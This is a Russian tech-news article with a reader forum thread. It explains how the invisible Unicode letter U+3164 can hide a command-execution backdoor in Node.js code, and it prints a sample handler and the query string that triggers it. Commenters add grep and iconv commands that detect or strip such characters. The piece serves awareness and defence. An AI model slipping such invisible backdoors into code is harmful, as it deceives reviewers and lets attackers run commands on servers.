The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Применение невидимых unicode-символов для скрытия действий в JavaScript-коде

10.11.2021 12:28

Следом за методом атаки Trojan Source, основанном на применении Unicode-символов, меняющих порядок отображения двунаправленного текста, опубликована ещё одна техника внедрения скрытых действий, применимая для кода на языке JavaScript. Новый метод базируется на применении unicode-символа "ㅤ" (код 0x3164, "HANGUL FILLER"), который относится к разряду букв, но не имеет видимого содержимого. Unicode-категория, в которую входит данный символ, разрешена начиная со спецификации ECMAScript 2015 для использования в именах переменных JavaScript, что даёт возможность создавать невидимые переменные или новые переменные, не отличимые от других переменных в популярных редакторах кода, таких как Notepad++ и VS Code.

В качестве примера приводится код для платформы Node.js, в котором при помощи переменной, состоящей из одного символа "ㅤ", скрыт бэкдор, позволяющий выполнить указанный злоумышленником код:


   app.get('/network_health', async (req, res) => {
       const { timeout,ㅤ} = req.query; // на деле указано "const { timeout,ㅤ \u3164}"
       const checkCommands = [
           'ping -c 1 google.com',
           'curl -s http://example.com/',ㅤ  // после запятой следует символ \u3164
       ];

На первый взгляд через внешний параметр передаётся только значение timeout, а массив с выполняемыми командами содержит безобидный фиксированный список. Но на деле после переменной timeout присваивается значение ещё одной невидимой переменной с кодом символа \u3164, которая также подставлена в массив исполняемых команд. Таким образом, при наличии подобной конструкции для активации бэкдора и выполнения своего кода атакующий может отправить запрос вида "https://host:8080/network_health?%E3%85%A4=команда".

В качестве ещё одного примера приводится символ "ǃ" (ALVEOLAR CLICK), который может использоваться для создания видимости указания восклицательного знака. Например, выражение "if(environmentǃ=ENV_PROD){" при выполнении в Node.js 14 всегда будет истинным, так как в нём осуществляется не проверка отличия, а присвоение переменной "environmentǃ" значения ENV_PROD. Среди вводящих в заблуждение unicode-символов, также отмечаются "/", "−", "+", "⩵", "❨", "⫽", "꓿" и "∗".

  1. Главная ссылка к новости (https://certitude.consulting/b...)
  2. OpenNews: Атака Trojan Source для внедрения изменений в код, незаметных для разработчика
  3. OpenNews: Использование похожих Unicode-символов для обхода аутентификации
  4. OpenNews: Новый метод фишинга с использованием unicode-символов в домене
  5. OpenNews: Уязвимость, позволяющая отобразить иной домен в адресной строке браузера
  6. OpenNews: Возможность регистрации фишинговых доменов с похожими unicode-символами в имени
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/56131-unicode
Ключевые слова: unicode, javascript
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (127) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, пох. (?), 12:43, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +28 +/
    Ну вот, счастья и привалило. Обезьянки ведь никак не могли жить без не-английских символов в именах переменных? Ну и нате вам пачку невидимых до кучи.

    Сейчас хором бросятся их запрещать-запрещать, потом следом - видимые неотличимые от пунктуационных, и так далее, до бесконечности, но так ничему и не научатся.

     
     
  • 2.4, 41 (?), 12:46, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    в довесок стоит отметить запятую-разделитель после последнего элемента структуры — так же сомнительная фича для ленивых со-стековерфлоу-копипастеров
     
     
  • 3.53, Аноним (53), 15:26, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Она есть в других языках тоже и применяется чтобы дифф уменьшать при добавлении новых полей. Но в целом я тоже против этого.
     
  • 3.67, kai3341 (ok), 17:01, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Trailing запятая-разделитель как раз удобнейший паттерн, появившийся сначала далеко не в JS
     
  • 2.5, Аноним (5), 12:47, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    хорошо что ты всё понимаешь и всегда объяснишь обезьянкам как им следует поступать
    чтобы они без тебя делали?
     
  • 2.8, Аноним (8), 12:50, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +17 +/
    🐧 ⋆ 🐼  🎀 П̷р̷о̷с̷т̷о̷ ̷т̷ы̷ ̷н̷и̷ч̷е̷г̷о̷ ̷н̷е̷ ̷п̷о̷н̷и̷м̷а̷е̷ш̷ь̷.̷ 𝐈𝐧 𝐫𝐞𝐚𝐥 𝐥𝐢𝐟𝐞 𝕌𝕟𝕚𝕔𝕠𝕕𝕖-𝕥𝕖𝕩𝕥  н⃣   е⃣   з⃣   а⃣   м⃣   е⃣   н⃣   и⃣   м⃣  🎀  🐼 ⋆ 🐧
     
     
  • 3.21, InuYasha (??), 13:12, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Точно, как без этого первоклаш..курсникам математику объяснять?
    2🐭 + 8🦊 = 🐵
    🐵*🐷 + 🦂 = 🐔🐔🐔
    великолепие же!
     
     
  • 4.22, Нанобот (ok), 13:21, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +56 +/
    log(😅)=💧log(😄)
     
     
  • 5.89, владик (??), 22:22, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    блин чувак ты круто придумал
     
     
  • 6.114, Нанобот (ok), 10:52, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > блин чувак ты круто придумал

    вообще-то это не я, это кто-то в интернетах придумал

     
     
  • 7.136, Аноним (136), 02:30, 13/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    благородный ты чувак
     
  • 4.139, BLM (?), 01:26, 14/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    ✊🏿
     
  • 3.87, OpenEcho (?), 19:58, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    iconv -c -f utf-8 -t ascii -o human-text.txt

    и вас нету...

     
     
  • 4.118, Онаним (?), 15:16, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    И г-код не работает, потому что макака навставляла разных emoji в одинаковые имена переменных.
     
  • 2.11, iPony129412 (?), 12:56, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    А gcc уже умеет в переменные с emoji? 🤨
    Когда последний раз тыкал своей палочкой палочкой - не получалось.
     
     
  • 3.15, 41 (?), 13:05, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Когда последний раз тыкал своей палочкой палочкой - не получалось

    извращенец

     
  • 3.16, Аноним84701 (ok), 13:06, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    > А gcc уже умеет в переменные с emoji? 🤨
    > Когда последний раз тыкал своей палочкой палочкой - не получалось.




    cat hello.c && gcc hello.c && ./a.out

    #include <stdio.h>
    int main (void) {
        int 🦄pony🦄 = 129412;
        printf("Hello iPony%d!", 🦄pony🦄);
        return 0;
    }
    Hello iPony129412!%


    Начиная с 10 версии.

     
     
  • 4.68, n00by (ok), 17:06, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Хватит дискриминировать поней!



    $ cat hello.c && gcc hello.c && ./a.out

    #include <locale.h>
    #include <stdio.h>
    #include <wchar.h>

    int main(void) {
        setlocale(LC_ALL, "");
        wint_t 🦄pony🦄 = 129412;
        printf("Hello iPony%lc!\n", 🦄pony🦄);
        return 0;
    }
    Hello iPony🦄!



     
  • 4.108, Аноним (108), 02:06, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    https://www.developpez.net/forums/attachments/p409965d1536340828/club-professi
     
     
  • 5.113, n00by (ok), 10:39, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Это их так покоробило от динамического полиморфизма не к месту, или std::shared_prt<> следовало заменить на Rust?
     
     
  • 6.116, Аноним (108), 14:46, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    И каким же это образом Rust поможет без динамического полиморфизма и смартпоинтеров создать массив разнотипных объектов? Не just for lulz, как на картинке, а в более реалистичном варианте, где типы складываемых в контейнер объектов раскиданы по разным файлам/модулям без возможности объединить в что-то типа std::variant<>.
     
     
  • 7.119, n00by (ok), 16:50, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Гипотетически Rust позволяет решить любую надуманную проблему. А практически часть кода из примера можно выкинуть.
     
  • 7.125, Аноним (-), 18:55, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > И каким же это образом Rust поможет без динамического полиморфизма и смартпоинтеров
    > создать массив разнотипных объектов? Не just for lulz, как на картинке,
    > а в более реалистичном варианте, где типы складываемых в контейнер объектов
    > раскиданы по разным файлам/модулям без возможности объединить в что-то типа std::variant<>.

    https://doc.rust-lang.org/std/rc/struct.Rc.html
    https://docs.rs/vptr/0.1.0/vptr/
    Сам что-то придумал, сам что-то оспорил.


     
  • 2.29, Тот_Самый_Анонимус (?), 14:07, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >Обезьянки ведь никак не могли жить без не-английских символов в именах переменных?

    Ну не у всех же раболепие головного мозга.
    Другое дело что сам юникод кривой. Не должно в одной строке быть два направления текста. Т.е. символ смены направления текста должен сочетаться с переносом строки. Так же не нужны невидимые симполы. Юникод давно стал помойкой, в которых таких символов быть не должно. Как и кучи символов, в виде единорогов. Но тут ты переобуешься в прыжке, ибо твой хозяин решил что единороги нужны, и спорить ты не будешь.

     
     
  • 3.35, kusb (?), 14:33, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    А как цитировать что-то из арабского, например? И как раз в коде, где переменные на таких языках с переносом с переключением строки не обойдёшься, наверное.
    В принципе если есть кодировка с единорогами, то нужно и её покрывать, ведь собрались заменить все кодировки вообще...
    (Всё жду, когда добавят модификаторы уровня жирного текста, центровки, размера, css/svg и всё схлопнется в сингулярность.)
     
     
  • 4.62, Тот_Самый_Анонимус (?), 16:25, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >А как цитировать что-то из арабского, например?

    С новой строки.

    >И как раз в коде, где переменные на таких языках с переносом с переключением строки не обойдёшься, наверное.

    Тогда и операторы для них пусть тоже пишутся справа налево.

    >В принципе если есть кодировка с единорогами, то нужно и её покрывать, ведь собрались заменить все кодировки вообще...

    Не нужно. Васянистые кодировки не нужны.

    А все кодировки юникод и не перекрывает. Помню на одном сайте был шрифт, созданный для того, чтобы его символами можно было рисовать диаграммы для сянци. А в юникоде этого нет до сих пор, хотя это встократ полезнее поддержки глупых символов, вроде флага извращенцев.

     
     
  • 5.90, виндотролль (ok), 22:27, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > вроде флага извращенцев

    Это ты об этом 🇷🇺? Не вижу ничего плохого, пусть будет.

     
     
  • 6.96, Тот_Самый_Анонимус (?), 23:10, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ты понял о каком, если так полыхнуло сразу.
     
     
  • 7.128, виндотролль (ok), 21:45, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Я же просто спросил. Вам оттуда, извращенцами кажутся одни, а нам, отсюда — совсем другие.

    А вы сразу агрессивно так минусов накидали, как будто дикари какие...

     
     
  • 8.130, Тот_Самый_Анонимус (?), 05:14, 12/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Нет, не просто Не в детском саду, чтобы такие отмазки лепить Все всё поняли из... текст свёрнут, показать
     
     
  • 9.138, виндотролль (ok), 16:12, 13/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Какой вы проницательный... текст свёрнут, показать
     
  • 2.30, Урри (ok), 14:16, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Анонимы опеннета пробивают очередное дно. Такое ощущение, что в мире бушует эпидемия идиотизма.

    Напомню "не-обезьянкам", что O и 0 тоже одинаково отображаются. Если, конечно, у вас не правильный шрифт, который добавляет в 0 точечку (палочку) посередине. А еще 1 и l, I и l и т.д.

    Даешь запрет всех похожих символов!
    Или может просто надо использовать шрифт, который показывает разные символы по разному?

     
     
  • 3.33, Урри (ok), 14:28, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    А, блин, прошу прощения у анонимов. Это же пох...
    Ну тогда не все так плохо, надеюсь.
     
     
  • 4.79, kai3341 (ok), 18:47, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Это же пох

    Это да. Адекватность и пох в разных вселенных. Живая иллюстрация различия людей думающих и людей, думающих, что они думающие

    Урри, тут может быть немного сложнее. Шрифт не повлияет на символ с нулевой длиной.

     
     
  • 5.91, Урри (ok), 22:36, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Урри, тут может быть немного сложнее. Шрифт не повлияет на символ с
    > нулевой длиной.

    Лопни мои глаза, чем я читал?

    Да, действительно, тут ситуация похуже будет.

     
  • 3.37, kusb (?), 14:36, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    У меня по разному кстати сейчас. Вот:
    https://ltdfoto.ru/images/SNIMOK86d271fea75bf9b3.png
     
     
  • 4.38, kusb (?), 14:37, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Хотя спутать можно легко, да.
     
  • 4.45, Аноним (45), 14:56, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    I и l одинаковые.

    Большая Ай и маленькая Эль.

     
  • 3.52, keydon (ok), 15:23, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Причем тут шрифт, если предполагается что символ неотображаемый? Это в других кодировках еще можно табы заменить какими-нибудь глифами, а в юникоде этих символов дочерта (U00A0, U0082, U0083, U0085 и это не полный список).
    Например Anonymous Pro который ты советуешь (пруф https://www.opennet.me/openforum/vsluhforumID3/125739.html#182) его не отобразит. И unifont подозреваю тоже.

    Но вообще я твою мысль понял: Юникод "прост как два байта" (С) Урри
    А все проблемы которые он вызывает это не проблемы юникода, а криворукость тех кто его отображает ("текстовых редакторов", языков, библиотек, разработчиков и т.д.) и тебе плевать что эти проблемы создает юникод. Прям как в анекдоте http://anek.ws/anekdot.php?a=9639

     
     
  • 4.92, Урри (ok), 22:38, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да, это проблема тех, кто его отображает.
    И эти проблемы создает не юникод, а реальная жизнь, в которой есть такое понятие как естественные языки с их историей и сопутствующее им книгопечатание.

    Смотри какая сложная сущность, оказывается, "простой" пробел: https://type.today/ru/journal/spaces

     
     
  • 5.102, keydon (ok), 01:14, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >И эти проблемы создает не юникод, а реальная жизнь, в которой есть такое понятие как естественные языки с их историей и сопутствующее им книгопечатание.

    Тут я с тобой согласен

     
  • 3.63, Аноним (63), 16:28, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    У меня эти символы отличаются абсолютно. Нужно просто использовать шрифты здорового человека, а не непонятно что. 1 от l и I отличается, | так вообще огромный символ во весь глиф (? хз как правильно называется), в отличие от других букв. 0Оо тоже абсолютно разные, хотя вот в браузере на мобильнике шрифт херовый и их можно спутать, но в системе у меня они отличаются. Хз откуда пошла мода на шрифты которые не дают отличить два похожих символа, но это уже давно не проблема
     
     
  • 4.94, Урри (ok), 22:39, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Нужно просто использовать шрифты здорового человека, а не непонятно что.

    Именно.

     
  • 3.78, Аноним (78), 18:07, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Вообще-то, они все разные, никогда не спутаешь. O и О ещё можно перепутать (потому что они одинаковые обычно). А цифры с буквами только в плохих дешёвых шрифтах одинаковые. Вроде, самый обычный Arial, не знаю. Более того, я перебрал все шрифты, и символы похожи только в Impact. На Segoe Script ещё сложновато отличить. Т.е. вообще никак не перепутаешь. Не понимаю к чему твои откровения, тут проблема всё таки другая несколько другая. Надо просто [s]запретить евrеев[/s] не скрывать непечатаемые символы для начала, что все сколько-нибудь приличные редакторы умеют испокон веков.
     
  • 3.120, пох. (?), 17:26, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    И как именно "по разному" шрифт должен показывать _невидимые_ символы?

    А | в именах переменных, внезапно, и так недопустимый символ. Даешь победу над этой дискриминацией?

     
     
  • 4.131, n00by (ok), 09:03, 12/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > А | в именах переменных, внезапно, и так недопустимый символ. Даешь победу
    > над этой дискриминацией?

    Язык твой -- враг твой!



    $ cat d.ref && ./d.ref пох
    #!/bin/refal

    Main ! (.|||.) = <Prout 'привет ' .|||. '!'>;

    привет пох!



    Это именно замшелый джавоскрипт ущемляет права переменных.

     
     
  • 5.135, qweo (?), 19:16, 12/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Есть свободная реализация Рефала?
     
     
  • 6.137, n00by (ok), 07:28, 13/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Что Вы понимаете под "свободной", наличие ограничений в виде лицензии GPL?

    Единственный живой транслятор, что я нашёл (компилятор развивает кафедра ИУ-9, МГТУ им. Н.Э. Баумана), распространяется под BSDL https://github.com/bmstu-iu9/refal-5-lambda/blob/master/LICENSE

    Выше пример (поддерживаются дополнительные префиксы t- и e- переменных и точка входа) для моего интерпретатора https://github.com/STrusov/refal-machine
    он пока не вполне готов (по 32 разряда не собирал даже, есть вопросы по организации "кучи") но свободно скачать и поиграться можно.

     
  • 2.69, Михрютка (ok), 17:09, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    >>>Обезьянки ведь никак не могли жить без не-английских символов в именах переменных?

    в социально справедливом мире за такие слова вас бы отправили перевоспитываться в колхоз им. Греты Тундберг, писать локализацию 1с бухгалтерии на иврите. нет, на арабском, ивриты тоже угнетатели.

     
     
  • 3.73, Михрютка (ok), 17:30, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    здесь было применение невидимых юникод-символов в каментах.

     

  • 1.2, Аноним (5), 12:44, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Срочно запретить
     
     
  • 2.6, Аноним (78), 12:48, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    На жаваскрипте ничего кроме малвари пишут. Все эти запреты копирования и всё подобное это тоже малварь ещё та.
     
     
  • 3.20, QwertyReg (ok), 13:11, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Написал мамкин борцун на сайте, использующем JS.
     
     
  • 4.23, Аноним (78), 13:24, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Как я пишу тогда? Сайты, использующие жс, даже не отображаются.
     
  • 4.64, Аноним (63), 16:32, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Недавно видел сайт, который является веб мордой к SDR приемнику. Всё работает на html5 и сначала даже не понял, что js на сайте выключен. А уж тексты отправлять... почитайте, что такое POST запросы, мб через curl по приколу сюда сообщение отправите.
     
  • 2.7, Нанобот (ok), 12:49, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Проблема в людишках, не способных отличить "ㅤ"  от "". Срочно запретить людишек!
     

  • 1.3, Аноним (8), 12:46, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +6 +/
    Невидимые символы самая очевидная сфера для злоупотреблений используют такие уже лет 20.
     
     
  • 2.10, Аноним (10), 12:52, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +11 +/
    Какие там 20, ещё Ленин в ссылке писал письма молоком.
     
     
  • 3.12, Аноним (8), 12:59, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    В стандарте юникода, тогда такого не было.
     
  • 3.61, eee (??), 16:05, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ленин в ссылке писал письма молоком матери.
     
     
  • 4.100, Анонимчег (?), 23:54, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ленин в ссылке писал кипятком
     
  • 3.115, Аноним (115), 12:08, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ленин писал ссылки в письме гипертекстовым молоком.
     
  • 3.129, Аноним (129), 22:22, 11/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    эта ветка похожа на обработку коммента нейронной сетью.
     
     
  • 4.132, мшефд (?), 13:24, 12/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > эта ветка похожа на обработку коммента нейронной сетью.

    Нынешние анонимчеги уже начинают от НС безнадёжно отставать.

     

  • 1.14, InuYasha (??), 13:02, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    🐵 Плохой программист: printf("Your ass is huge as my code! 🐔🐔🐔");
    🐧 Хороший программист: printlocalized(STRID_HUGEASS); // где это вообще uint.
     
  • 1.17, Аноним (17), 13:06, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > В качестве примера приводится код для платформы Node.js, в котором при помощи переменной, состоящей из одного символа "ㅤ", скрыт бэкдор, позволяющий выполнить указанный злоумышленником код:

    Для этого нужно, чтобы сервер был захвачен/под контролем. А если он захвачен, то какая разница, что именно передаётся? В чём прикол?

     
     
  • 2.25, Анонимный Анонимус (?), 13:28, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Можно незаметно с PR добавить в какую нибудь бибилиотеку, а дальше он уже по всем сайтам разнесется.
     
     
  • 3.26, Аноним (17), 13:39, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Что именно разнесётся? Дополнительный параметр к своему же сайту? Или люди мержат код, который на сторону запрашивают всё подряд и им норм? Так проблема, опять же, не в юникоде.
     
     
  • 4.75, Аноним (75), 17:42, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    эго не видит со стороны атакующего, а системный контроль предполагает глубоко рекурсивную перепроверку
     

  • 1.27, псевдонимус (?), 13:41, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Какой всё-таки замечательный зыг!
     
     
  • 2.28, BratishkaErik (ok), 14:01, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да я тоже не нарадуюсь, но он ещё нестабилен
     

  • 1.31, Урри (ok), 14:21, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    В компиляторе раста уже исправили? Кто-то мониторит?
     
     
  • 2.46, Аноним (46), 15:04, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    да
     

  • 1.32, Георгий (??), 14:23, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Вот так можно детектить рекурсивно в текущей папке.
    Не уверен, насколько это переносимо.

    grep -R --include \*.js  -H -n $'\u3164'
    grep -R --include \*.js  -H -n $'\u1C3'

    -R
    рекурсивно

    --include
    ограничение по расширению
    Звёздочка экранирована, чтобы bash её не воспринимал.

    -H
    выводить имя файла

    -n
    выводить номер строки

    Код через доллар — это какой-то ANSI-C quoting.
    Это чтобы исключить из вывода неюникодные файлы, где код будет двумя отдельными символами. Я даже не знаю, это фича баша или грепа.
    Отсюда: https://unix.stackexchange.com/a/523339/250094

     
     
  • 2.55, Аноним (8), 15:35, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Спешу тебя огорчить таких символов очень много. И они могут по разному отображаться в разные редакторах.
     
     
  • 3.81, Георгий (??), 19:06, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Т.к. это регексп, там можно в квадратных скобках перечислить.
    В предыдущей новости есть пример:
    https://www.opennet.me/opennews/art.shtml?num=56083
     
  • 2.65, Аноним (63), 16:38, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Лучше тогда долбить на исключение, разрешая только ASCII. Проще спросить у человека "нахера ты по-китайски в коде писать начал" чем допускать, что кто-то может написать что-то на расширенной латыни.
     
     
  • 3.83, Георгий (??), 19:12, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Подобные ограничения делают нечитаемым код, если он производит любую сложную обработку юникодного текста. Можно, конечно, надеяться на то, что IDE будет автоматически транслировать юникодные последовательности на UI, но это не каждая IDE умеет.
     
  • 2.88, OpenEcho (?), 20:02, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Все значительно проще:

    > cat shitty_source_code.ext | iconv -c -f utf-8 -t ascii -o human_based.ext

     

  • 1.34, kusb (?), 14:28, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    set {} {}
     
  • 1.36, Аноним (36), 14:35, 10/11/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > Unicode-категория, в которую входит данный символ, разрешена начиная со спецификации ECMAScript 2015 для использования в именах переменных JavaScript

    Зачем вообще это было сделано? Почему латинских букв не хватало?

     
     
  • 2.39, kusb (?), 14:38, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Национальные символы в переменных иногда это круто.
     
     
  • 3.41, пох.. (?), 14:39, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    да, очень круто - вот, можно выполнить совсем не то что написано, например.

     
     
  • 4.43, Аноним (43), 14:47, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Это не проблема языков программирования, это проблема терминалов, шрифтов, редакторов и стандартов кодирования символов типа unicode.
     
     
  • 5.47, пох.. (?), 15:11, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +6 +/
    точно! Терминалы плохие!

    Ведь язык программирования ну никак не может специфицировать набор символов, допустимый для использования. Он же для астрального кодинга, а не машинный язык, по самой сути своей состоящий из правил и ограничений.

    Б-ть, куда бечь от вас? На марс я на этой херне не полечу, фон Браун сдох, "наши немцы" тоже...

     
     
  • 6.72, n00by (ok), 17:28, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А ещё можно запятую перегрузить.
     
  • 5.76, Михрютка (ok), 17:57, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Это не проблема языков программирования, это проблема терминалов, шрифтов, редакторов
    > и стандартов кодирования символов типа unicode.

    И ЖИВОТНОВОДСТВА!

     
  • 5.77, Аноним (-), 18:04, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Наоборот, это проблема языка, и тех кто принимал стандарт. Они не учли такого рода уязвимость. а должны были всё учитывать.
     
  • 4.74, Михрютка (ok), 17:34, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > да, очень круто - вот, можно выполнить совсем не то что написано,
    > например.

    можно оㅤхㅤуㅤеㅤнㅤнㅤо троллить коллег по работе, дальше уютной VS не вылезающих.


     
  • 2.40, пох.. (?), 14:39, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    тебе ж ясно сказали - обезьянка не может в енгриш!
    И вообще что это за код без переменной с цветуечком?!

    Ты наверное луддит и ретроград, и обижаешь чорных?!

     
     
  • 3.58, Аноним (8), 15:45, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Для молодого поколения кстати хорошо заходят комментарии к коду с эмоджи)
     
     
  • 4.60, пох.. (?), 16:01, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    причем с тремя типами к@кашек - она, оно и к@кашка-ниггер.

    Потом управляемая этим кодом тесла уе...вает тебя об грузовик, ну извини дорогое, так получилось.

     
  • 3.93, Аноним (93), 22:38, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    ты черную масть не трожь! не черных, а черномазых
     
  • 2.42, Аноним (43), 14:44, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну можно и в обратную сторону вопрос задать, а почему имена переменных только на английском? Получается что бы программировать нужно английский учить или писать spravka, obyavlenie, zakaz и т.д.
     
     
  • 3.48, пох.. (?), 15:12, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Ну можно и в обратную сторону вопрос задать, а почему имена переменных
    > только на английском?

    имена переменных - символами допустимого языком алфавита. Да. Еще и не с каждого при этом могут начинаться. Что в этом такого ужасного и удивительного?

    > Получается что бы программировать нужно английский учить или
    > писать spravka, obyavlenie, zakaz и т.д.

    обизьянка нишмагла вайти в айти. Катастрофа, горе, миру нужно больше кодеров!

     
     
  • 4.133, Аноним (133), 16:07, 12/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Правильно, раб. Слуги должны знать язык хозяина.
     
  • 3.51, YetAnotherOnanym (ok), 15:23, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Чтобы хоть как-то оградить программирование от тех, кто пишет на родном "что бы" и без запятой после вводного слова "Получается".
     
  • 3.57, Аноним (8), 15:42, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Самое забавное получается имена колонок в базах данных переводить из полей в документах.  "Размер задатка", "Площадь земельного участка", "Вскрытие конкурсных приложений" и  таких колонок десяток и по какому правилу их транслировать не понятно, а переводить на простой английский потом не разберешься никогда.
     
     
  • 4.66, Аноним (63), 16:43, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Вы не путайте имена внутри кода и строки текста. Строки то хрен с ними, хоть задом наперёд пишите (хотя все таки лучше выносить это дело в отдельный хеадер или конфиг, имхо)
     
  • 4.85, Михрютка (ok), 19:46, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >>>"Размер задатка"

    Earnest money size

    >>>"Площадь земельного участка"

    Earthly precinct Square

    >>>"Вскрытие конкурсных приложений"

    Autopsy of concurrent applications

    чо непонятного-то

     
  • 2.44, Георгий (??), 14:50, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Если код связан с естественным языком (скажем, NLP), там могут быть случаи, когда код становится почти нечитаемым, если использовать перевод на английский или транслит. Сам с таким сталкивался. Если мы что-то делаем очень специфичное для языка X, некоторые вещи удобнее называть на самом этом языке X.
     
     
  • 3.49, anonymous (??), 15:15, 10/11/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Вот, кстати, да, пробовал переводить на английский "корпус", "строение" и другие аналогичные вещи - получается коряво и непонятно. И это даже не NLP никакое, а простая обработка адреса.
     
     
